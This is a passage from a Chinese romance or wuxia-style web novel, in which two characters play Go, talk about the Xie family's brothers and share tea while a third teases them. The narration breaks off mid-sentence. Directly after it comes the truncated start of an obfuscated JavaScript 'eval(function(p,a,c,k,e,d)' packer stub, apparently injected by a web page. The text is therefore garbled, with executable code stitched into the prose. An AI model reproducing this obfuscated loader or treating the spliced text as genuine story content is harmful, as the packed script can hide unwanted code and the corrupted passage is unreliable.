上,仿佛话家常般随口一问。
许是在想旁的出路,本该可以一击必杀的白子,久久没有落下。
谢忱没有注意到她的异常,闻言不避不闪道:“边关冬季严寒,大哥身子受不住,两年前就去了江南,如今边关也只剩下二哥一家。”
谢家大公子身子不好,是天下人皆知的事,并无什么可避讳的。至于二公子,多年前领命镇守边关,更是人尽皆知。
一阵风从半开的窗户灌进来,骆应玉手不由自主抖了抖,手中那颗棋子也错落在了旁边。
她抬眸看去,棋盘上已经攻守易形了。
“江南风景如画,在那里将养身子再好不过。”她嘴角露出一个十分浅淡的笑,眸子低垂,落在那颗被下错的棋子上,看不清神色。
棋局彻底被那颗乍然出现的白子搅乱,她没了下棋的心思,索性动手全部丢回瓮中。
她没再多言,仿佛刚刚那两句话,真的只是随口一提。
苏鸣柯像看好戏似的盯着二人,手上不停地往嘴里丢花生,一双桃花眼里尽是玩味。
瞧瞧,这关心人的方式还真特别。
骆应玉都能将她查个底朝天,她就不信骆应玉不知手握兵权的谢家人的动向。多问的这几句,只怕也是寻个说话的由头罢了。
她暗暗“啧啧”两声,一碟子花生很快就见了底,她抬手就要去端茶,却见茶早也早就见底。
她舔了舔有些干涩的唇角,正要扬声唤人进来添茶,就见谢忱已经提着温在小火炉上的茶盏起身了。
他先是走到骆应玉身边,替她重新换了一杯热茶,而后才在她面前站定,没什么表情的重新替她添了新茶。
“倒是难得见谢将军这样体贴。”
苏鸣柯笑眯眯地抬手去接,谁知谢忱只瞥了她一眼,像没看见她的手般,直接将手伸长,沉默着把茶盏稳稳地放在小几上。
没接到热茶,她也不恼。看在他难得服软的面子上,她决定为他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]